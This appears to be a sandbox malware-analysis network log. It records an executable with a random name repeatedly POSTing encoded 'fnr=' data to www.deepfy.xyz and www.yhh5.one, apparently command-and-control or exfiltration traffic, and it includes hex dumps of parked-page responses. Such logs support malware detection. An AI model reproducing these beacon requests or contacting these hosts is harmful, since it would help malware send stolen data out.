                                                                                          Data Raw: 66 6e 72 3d 6f 54 38 6c 55 64 55 4e 4f 34 4c 78 39 6f 31 6f 72 53 62 2f 41 57 45 77 31 35 64 52 75 72 76 52 37 71 6c 79 34 48 4f 6a 44 4a 64 36 39 4c 32 42 4e 44 51 53 42 74 4b 44 35 6a 49 70 45 7a 43 58 71 32 65 32 74 6d 4f 2b 4a 79 51 4d 65 6d 7a 39 36 77 64 44 30 5a 49 69 6c 66 6c 2f 2b 6d 4b 5a 4d 47 75 77 52 6e 76 53 55 68 44 71 4c 7a 31 2f 79 7a 4e 2b 79 59 7a 79 67 70 4f 44 45 76 76 5a 63 33 4d 42 43 56 49 5a 59 68 6a 30 69 67 72 44 7a 37 72 41 6d 61 55 6d 42 73 45 38 31 55 4a 2b 34 7a 44 55 32 6c 54 36 32 78 79 55 51 41 48 5a 76 39 4c 57 4d 32 51 46 48 6d 44 52 34 55 47 53 50 35 55 68 7a 6d 59 3d
                                                                                          Data Ascii: fnr=oT8lUdUNO4Lx9o1orSb/AWEw15dRurvR7qly4HOjDJd69L2BNDQSBtKD5jIpEzCXq2e2tmO+JyQMemz96wdD0ZIilfl/+mKZMGuwRnvSUhDqLz1/yzN+yYzygpODEvvZc3MBCVIZYhj0igrDz7rAmaUmBsE81UJ+4zDU2lT62xyUQAHZv9LWM2QFHmDR4UGSP5UhzmY=
                                                                                          Oct 25, 2024 16:55:02.887056112 CEST1236INHTTP/1.1 200 OK
                                                                                          date: Fri, 25 Oct 2024 14:55:02 GMT
                                                                                          content-type: text/html; charset=utf-8
                                                                                          content-length: 1110
                                                                                          x-request-id: 0e00a810-bec6-4073-9a55-84092b0c0932
                                                                                          cache-control: no-store, max-age=0
                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_KhvMSj2uIBc6GX2yEgXgaJwpSLmeE6ojBJwOZAxb06721tv0TrOhm+z1Z9AEwYruPDYcUQ5N4L7YeTMGK8V7nQ==
                                                                                          set-cookie: parking_session=0e00a810-bec6-4073-9a55-84092b0c0932; expires=Fri, 25 Oct 2024 15:10:02 GMT; path=/
                                                                                          connection: close
                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4b 68 76 4d 53 6a 32 75 49 42 63 36 47 58 32 79 45 67 58 67 61 4a 77 70 53 4c 6d 65 45 36 6f 6a 42 4a 77 4f 5a 41 78 62 30 36 37 32 31 74 76 30 54 72 4f 68 6d 2b 7a 31 5a 39 41 45 77 59 72 75 50 44 59 63 55 51 35 4e 34 4c 37 59 65 54 4d 47 4b 38 56 37 6e 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_KhvMSj2uIBc6GX2yEgXgaJwpSLmeE6ojBJwOZAxb06721tv0TrOhm+z1Z9AEwYruPDYcUQ5N4L7YeTMGK8V7nQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                                          Oct 25, 2024 16:55:02.887085915 CEST563INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                                          Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMGUwMGE4MTAtYmVjNi00MDczLTlhNTUtODQwOTJiMGMwOTMyIiwicGFnZV90aW1lIjoxNzI5ODY4MT


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          26192.168.2.549444199.59.243.227803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:04.822477102 CEST761OUTPOST /mipl/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 224
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.deepfy.xyz
                                                                                          Origin: http://www.deepfy.xyz
                                                                                          Referer: http://www.deepfy.xyz/mipl/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 6f 54 38 6c 55 64 55 4e 4f 34 4c 78 38 4d 78 6f 6f 7a 62 2f 58 6d 45 33 2f 5a 64 52 6b 4c 76 56 37 71 5a 79 34 47 4b 56 41 38 31 36 39 75 61 42 4c 78 30 53 50 4e 4b 44 78 44 49 6f 41 7a 43 4d 71 32 53 41 74 6b 4b 2b 4a 79 45 4d 65 6d 44 39 37 48 78 41 32 4a 49 67 73 2f 6c 68 77 47 4b 5a 4d 47 75 77 52 6e 4b 31 55 68 37 71 4c 6a 46 2f 78 53 4e 39 2f 34 7a 7a 6e 70 4f 44 41 76 76 64 63 33 4d 5a 43 58 38 33 59 6b 2f 30 69 6a 2f 44 79 71 72 44 74 61 55 73 4d 4d 46 33 6b 6b 67 48 77 54 2f 4f 32 44 4f 76 6d 42 65 50 56 32 32 7a 31 66 44 2b 66 57 38 39 58 31 4c 6d 70 6b 6e 37 56 61 45 52 74 78 4f 58 6e 72 4b 6d 49 6f 77 64 68 2f 50 46 4c 62 47 43 38 67 52 7a
                                                                                          Data Ascii: fnr=oT8lUdUNO4Lx8Mxoozb/XmE3/ZdRkLvV7qZy4GKVA8169uaBLx0SPNKDxDIoAzCMq2SAtkK+JyEMemD97HxA2JIgs/lhwGKZMGuwRnK1Uh7qLjF/xSN9/4zznpODAvvdc3MZCX83Yk/0ij/DyqrDtaUsMMF3kkgHwT/O2DOvmBePV22z1fD+fW89X1Lmpkn7VaERtxOXnrKmIowdh/PFLbGC8gRz
                                                                                          Oct 25, 2024 16:55:05.475133896 CEST1236INHTTP/1.1 200 OK
                                                                                          date: Fri, 25 Oct 2024 14:55:04 GMT
                                                                                          content-type: text/html; charset=utf-8
                                                                                          content-length: 1110
                                                                                          x-request-id: baabde20-e5d8-48e5-a967-f0324e8cebfb
                                                                                          cache-control: no-store, max-age=0
                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_KhvMSj2uIBc6GX2yEgXgaJwpSLmeE6ojBJwOZAxb06721tv0TrOhm+z1Z9AEwYruPDYcUQ5N4L7YeTMGK8V7nQ==
                                                                                          set-cookie: parking_session=baabde20-e5d8-48e5-a967-f0324e8cebfb; expires=Fri, 25 Oct 2024 15:10:05 GMT; path=/
                                                                                          connection: close
                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4b 68 76 4d 53 6a 32 75 49 42 63 36 47 58 32 79 45 67 58 67 61 4a 77 70 53 4c 6d 65 45 36 6f 6a 42 4a 77 4f 5a 41 78 62 30 36 37 32 31 74 76 30 54 72 4f 68 6d 2b 7a 31 5a 39 41 45 77 59 72 75 50 44 59 63 55 51 35 4e 34 4c 37 59 65 54 4d 47 4b 38 56 37 6e 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_KhvMSj2uIBc6GX2yEgXgaJwpSLmeE6ojBJwOZAxb06721tv0TrOhm+z1Z9AEwYruPDYcUQ5N4L7YeTMGK8V7nQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                                          Oct 25, 2024 16:55:05.475184917 CEST563INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                                          Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYmFhYmRlMjAtZTVkOC00OGU1LWE5NjctZjAzMjRlOGNlYmZiIiwicGFnZV90aW1lIjoxNzI5ODY4MT


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          27192.168.2.549445199.59.243.227803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:07.365854025 CEST1778OUTPOST /mipl/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 1240
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.deepfy.xyz
                                                                                          Origin: http://www.deepfy.xyz
                                                                                          Referer: http://www.deepfy.xyz/mipl/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 6f 54 38 6c 55 64 55 4e 4f 34 4c 78 38 4d 78 6f 6f 7a 62 2f 58 6d 45 33 2f 5a 64 52 6b 4c 76 56 37 71 5a 79 34 47 4b 56 41 36 74 36 36 59 4f 42 4e 68 49 53 4f 4e 4b 44 37 6a 49 6c 41 7a 44 57 71 32 4c 4a 74 6b 58 4c 4a 78 38 4d 65 46 37 39 71 47 78 41 2f 4a 49 67 75 2f 6c 38 2b 6d 4b 32 4d 47 2b 30 52 6e 36 31 55 68 37 71 4c 67 64 2f 6d 54 4e 39 39 34 7a 79 67 70 4f 66 45 76 76 68 63 33 6b 4a 43 58 34 4a 59 58 6e 30 69 46 66 44 2f 34 44 44 79 71 55 71 41 73 45 33 6b 6b 38 6d 77 51 62 43 32 44 54 6e 6d 41 71 50 58 7a 4c 70 75 73 65 6c 41 32 6b 70 66 58 2f 2b 37 77 58 6f 4b 73 59 45 67 7a 47 30 6c 36 50 45 4f 34 52 46 73 72 47 35 59 2f 69 69 75 58 30 2f 74 4c 6a 47 74 54 37 31 4b 68 45 78 70 44 31 49 68 31 75 62 41 77 79 38 36 52 65 59 30 72 2f 7a 51 53 55 50 63 31 30 38 45 41 62 58 53 51 54 75 4b 54 54 66 53 56 70 7a 42 4b 56 4d 79 65 78 72 51 39 74 49 6e 55 56 77 36 78 47 71 4b 45 6d 78 48 71 35 72 70 68 56 79 6b 39 78 56 51 79 35 71 78 71 64 7a 57 52 74 53 66 71 42 65 6a 68 74 73 45 7a [TRUNCATED]
                                                                                          Data Ascii: fnr=oT8lUdUNO4Lx8Mxoozb/XmE3/ZdRkLvV7qZy4GKVA6t66YOBNhISONKD7jIlAzDWq2LJtkXLJx8MeF79qGxA/JIgu/l8+mK2MG+0Rn61Uh7qLgd/mTN994zygpOfEvvhc3kJCX4JYXn0iFfD/4DDyqUqAsE3kk8mwQbC2DTnmAqPXzLpuselA2kpfX/+7wXoKsYEgzG0l6PEO4RFsrG5Y/iiuX0/tLjGtT71KhExpD1Ih1ubAwy86ReY0r/zQSUPc108EAbXSQTuKTTfSVpzBKVMyexrQ9tInUVw6xGqKEmxHq5rphVyk9xVQy5qxqdzWRtSfqBejhtsEz80D4ntbkQWWGWnUH75oH+RDFnLxGg+3/z1Xq7sGYSnaZXxICF6zx8bxCh8OOeygptGfT07FoksAsZYCdyjcnDCGyUnTwA/Mwb9KbC+oHRDUZExYMBvvlYv6St3umXurcZNiCSsWxecxpdnL3EPn8kesvoFNxHjosHS1hLLF3KTlba76Txz8xGxozJWKobO0VhZOIsfbmwMjKSngJiL1eWr8GpDyV0WPWWH4ygEJuJ5Y90T/08QYGn5SuKytGO1NQ9OmmXcoxtK2KLB1oiwkDgcqQsUjVAL5d/1sr75kETwB+H9T6Q14dQMgCUzSKZmlIZJqo8b3/IMjC6ou/gWTKqQynIz9V+S/HRE1Oo7Tl+6HwgLNC6ugCiszG5EI95AipbuF1JhE2ApflWqm8/VGxONFboGlYj+xzShHHrHpWieoVnDvw7UIAk2/DIe55WiOdrbqYruQTpPMqTFxXRS0JB0xEw8ljSKXfAWnlF0zUIhstHDGTwz366iUgJmip/z5axqM/8AQlgGr425aK+bpXKRx119dn0AFaBuyksobYgPE++0OieINi8MK9LCXPwyVL85o5eO/9iKlbVNQyW+u+HZeJVgt/HWpbyZ8OnOkP+/DWBlRFGLH63rCNmKkiZxxrQaItePG0XfGLFkoH3qSk5TS1NM896C2N1x [TRUNCATED]
                                                                                          Oct 25, 2024 16:55:07.977205992 CEST1236INHTTP/1.1 200 OK
                                                                                          date: Fri, 25 Oct 2024 14:55:06 GMT
                                                                                          content-type: text/html; charset=utf-8
                                                                                          content-length: 1110
                                                                                          x-request-id: 00e6318f-44f3-4e44-a1d8-97f29b726f7e
                                                                                          cache-control: no-store, max-age=0
                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_KhvMSj2uIBc6GX2yEgXgaJwpSLmeE6ojBJwOZAxb06721tv0TrOhm+z1Z9AEwYruPDYcUQ5N4L7YeTMGK8V7nQ==
                                                                                          set-cookie: parking_session=00e6318f-44f3-4e44-a1d8-97f29b726f7e; expires=Fri, 25 Oct 2024 15:10:07 GMT; path=/
                                                                                          connection: close
                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4b 68 76 4d 53 6a 32 75 49 42 63 36 47 58 32 79 45 67 58 67 61 4a 77 70 53 4c 6d 65 45 36 6f 6a 42 4a 77 4f 5a 41 78 62 30 36 37 32 31 74 76 30 54 72 4f 68 6d 2b 7a 31 5a 39 41 45 77 59 72 75 50 44 59 63 55 51 35 4e 34 4c 37 59 65 54 4d 47 4b 38 56 37 6e 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_KhvMSj2uIBc6GX2yEgXgaJwpSLmeE6ojBJwOZAxb06721tv0TrOhm+z1Z9AEwYruPDYcUQ5N4L7YeTMGK8V7nQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                                          Oct 25, 2024 16:55:07.977253914 CEST563INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                                          Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMDBlNjMxOGYtNDRmMy00ZTQ0LWExZDgtOTdmMjliNzI2ZjdlIiwicGFnZV90aW1lIjoxNzI5ODY4MT


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          28192.168.2.549446199.59.243.227803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:09.911267042 CEST490OUTGET /mipl/?fnr=lRUFXpYjO5q84N9UkCGCO24w8oR/koPhxcxzxzitN5IYx+SIWxEUF/bj6C0LBRGaoCOywj79BmwDbV6d+X970LpFtaNi7FficGXlWXO0bk7GSQJjtCBX9J2so925KOiQKQ==&zB=nPlhZPwp4vxtG8 HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Connection: close
                                                                                          Host: www.deepfy.xyz
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Oct 25, 2024 16:55:10.518733978 CEST1236INHTTP/1.1 200 OK
                                                                                          date: Fri, 25 Oct 2024 14:55:09 GMT
                                                                                          content-type: text/html; charset=utf-8
                                                                                          content-length: 1494
                                                                                          x-request-id: 6a86902c-46df-4171-bb2f-396367bddb93
                                                                                          cache-control: no-store, max-age=0
                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_ivdwaKc0Vw6lK4odP9R86nC2nu0rNfL2Pb/zl4HlnUy0XopGmeb5x+HRjYOsBq+2oBqjm2n8EFD7bGpGx9wGug==
                                                                                          set-cookie: parking_session=6a86902c-46df-4171-bb2f-396367bddb93; expires=Fri, 25 Oct 2024 15:10:10 GMT; path=/
                                                                                          connection: close
                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 69 76 64 77 61 4b 63 30 56 77 36 6c 4b 34 6f 64 50 39 52 38 36 6e 43 32 6e 75 30 72 4e 66 4c 32 50 62 2f 7a 6c 34 48 6c 6e 55 79 30 58 6f 70 47 6d 65 62 35 78 2b 48 52 6a 59 4f 73 42 71 2b 32 6f 42 71 6a 6d 32 6e 38 45 46 44 37 62 47 70 47 78 39 77 47 75 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_ivdwaKc0Vw6lK4odP9R86nC2nu0rNfL2Pb/zl4HlnUy0XopGmeb5x+HRjYOsBq+2oBqjm2n8EFD7bGpGx9wGug==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                                          Oct 25, 2024 16:55:10.518773079 CEST947INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                                          Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNmE4NjkwMmMtNDZkZi00MTcxLWJiMmYtMzk2MzY3YmRkYjkzIiwicGFnZV90aW1lIjoxNzI5ODY4MT


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          29192.168.2.54944738.181.21.169803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:15.581482887 CEST735OUTPOST /swpt/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 204
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.yhh5.one
                                                                                          Origin: http://www.yhh5.one
                                                                                          Referer: http://www.yhh5.one/swpt/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 50 62 77 53 43 71 58 71 69 66 64 6b 34 45 39 35 2f 4c 76 71 7a 78 31 57 5a 66 7a 7a 56 67 4c 47 51 36 52 50 49 4a 74 54 53 34 50 52 6d 59 62 42 56 74 55 71 71 6e 64 4b 46 54 58 73 6b 46 62 2f 31 6f 46 30 62 4f 4f 38 33 32 59 45 57 44 37 74 57 6b 6d 59 38 38 77 58 34 4b 30 75 53 2b 68 71 52 54 67 4b 47 61 31 6d 54 42 4f 45 53 6f 32 38 58 50 55 34 73 62 75 47 78 41 41 34 50 46 44 53 37 61 48 55 48 43 63 43 44 37 4e 77 59 2b 33 30 51 63 34 48 63 73 49 57 47 6e 33 65 78 4c 57 34 52 58 36 51 56 67 70 61 61 6f 73 4a 64 62 52 55 51 6f 54 56 38 61 44 4a 5a 48 6f 71 69 54 32 4a 4c 35 30 74 6b 59 63 3d
                                                                                          Data Ascii: fnr=PbwSCqXqifdk4E95/Lvqzx1WZfzzVgLGQ6RPIJtTS4PRmYbBVtUqqndKFTXskFb/1oF0bOO832YEWD7tWkmY88wX4K0uS+hqRTgKGa1mTBOESo28XPU4sbuGxAA4PFDS7aHUHCcCD7NwY+30Qc4HcsIWGn3exLW4RX6QVgpaaosJdbRUQoTV8aDJZHoqiT2JL50tkYc=
                                                                                          Oct 25, 2024 16:55:16.508862019 CEST302INHTTP/1.1 404 Not Found
                                                                                          Server: nginx
                                                                                          Date: Fri, 25 Oct 2024 14:55:16 GMT
                                                                                          Content-Type: text/html
                                                                                          Content-Length: 138
                                                                                          Connection: close
                                                                                          ETag: "6692510a-8a"
